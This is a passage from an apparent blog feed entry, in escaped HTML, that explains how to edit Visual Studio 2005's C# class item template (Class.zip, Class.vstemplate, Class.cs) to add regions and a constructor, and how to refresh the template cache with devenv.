class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;rootnamespace&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// Initializes field values.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Yay! my fingers are saved... but what you say? all my base are NOT belong to us? True. Someone set us up the cache.&lt;/p&gt;&#xA;&lt;h3 id=&#34;refreshing-the-visual-studio-template-cache&#34;&gt;Refreshing the Visual Studio Template Cache&lt;/h3&gt;&#xA;&lt;p&gt;The template files are cached in a folder called &lt;code&gt;TemplateItemCache&lt;/code&gt; in the same location as the template folder. So...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close all Visual Studio Windows&lt;/li&gt;&#xA;&lt;li&gt;Clear contents of TemplateCache folder&lt;/li&gt;&#xA;&lt;li&gt;Open a DOS prompt (normal one, or Visual Studio 2005 Command Prompt)&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;devenv /installvstemplates&lt;/code&gt; &lt;em&gt;(if that doesn&#39;t work, run &lt;code&gt;devenv /setup&lt;/code&gt;)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now, when you restart Visual Studio, your new templates will be installed... BUT! the fun doesn&#39;t stop here! The same templating structure for items also applies to projects! But that&#39;s next post...&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;So, Visual Studio is pretty great right? It makes a lot of things really easy, really automated... saves a lot of typing, etc... However, there are still some areas where people find themselves repetatively doing the same thing in certain scenarios.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example — Making a new class.&lt;/p&gt;&#xA;&lt;p&gt;Now, usually one would just right-click on my project list, &lt;code&gt;Add...&lt;/code&gt;, &lt;code&gt;New Item&lt;/code&gt;, then you are presented with an array of the available &lt;code&gt;Item Templates&lt;/code&gt;. So, then you would select &lt;code&gt;Class&lt;/code&gt;, rename it and be presented with this result:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MyNamespace&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Class1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing many will do, is perform a bunch of tweaks to make it formatted the way they like it. Perhaps change the class name, set it to &lt;code&gt;public&lt;/code&gt;, create an empty constructor, define code regions to keep things organized, etc... and end up with something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MyNamespace&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Class1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Class1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// Initializes field values.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;WHOA! now I&#39;m not personally a fan of regions and think the &lt;code&gt;private Init()&lt;/code&gt; method used here is terrible... but I&#39;m not here to judge that. To each thier own. However, if there are things like this that you do for every class... Well, that takes quite a bit of typing. FOR EVERY CLASS YOU WRITE!!&lt;/p&gt;&#xA;&lt;p&gt;Visual Studio obviously has some template somewhere that controls it&#39;s default layout. Let&#39;s go figure out how those templates work.&lt;/p&gt;&#xA;&lt;h3 id=&#34;where-are-the-files-at&#34;&gt;Where are the files at?&lt;/h3&gt;&#xA;&lt;p&gt;The templates are stored in your Visual Studio installation directory. If you&#39;re like me, and running a fairly recent version of Visual Studio 2005, installed with default configuration, your install directory will probably be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the templates are stored in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Under that directory you&#39;ll find subdirectories for each classification of template (CSharp, JSharp, VisualBasic, etc... ) and in each of those subdirectories, you&#39;ll find a zip file for each template.&lt;/p&gt;&#xA;&lt;p&gt;For what we want to fix, we are looking for this file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates\CSharp\1033\Class.zip &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Sidenote: Notice that the last subdirectory in the path is the language code 1033 (English) and if you&#39;ve installed windows/vs with a different language, this will be different.. this is one reason you may not see your default templates when working across languages (ie, windows is in spanish, and visual studio is installed from the English language version, but is configured to be in Spanish; templates will be missing!!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;code&gt;Class.zip&lt;/code&gt; file, you will find two files; &lt;code&gt;Class.cs&lt;/code&gt; and &lt;code&gt;Class.vstemplate&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;classvstemplate&#34;&gt;Class.vstemplate&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;Class.vstemplate&lt;/code&gt; is just an XML file. This contains information about the template, such as what GUID to lookup for the icon to display in the wizard screen, what the sorting order is, what assemblies it references, etc.. For the most part, unless your doing something more complicated than what I want to do, you won&#39;t need to edit this. One tag to pay attention to is:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;ProjectItem&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;ReplaceParameters=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;Class.cs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/ProjectItem&amp;gt;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This tag says that VS should make a new project item based on &lt;code&gt;Class.cs&lt;/code&gt;, and it should parse the file and replace the parameter tokens in it with the appropriate values... So let&#39;s look at &lt;code&gt;Class.cs&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;h3 id=&#34;classcs&#34;&gt;Class.cs&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;Class.cs&lt;/code&gt; is the templated code file. The default file looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 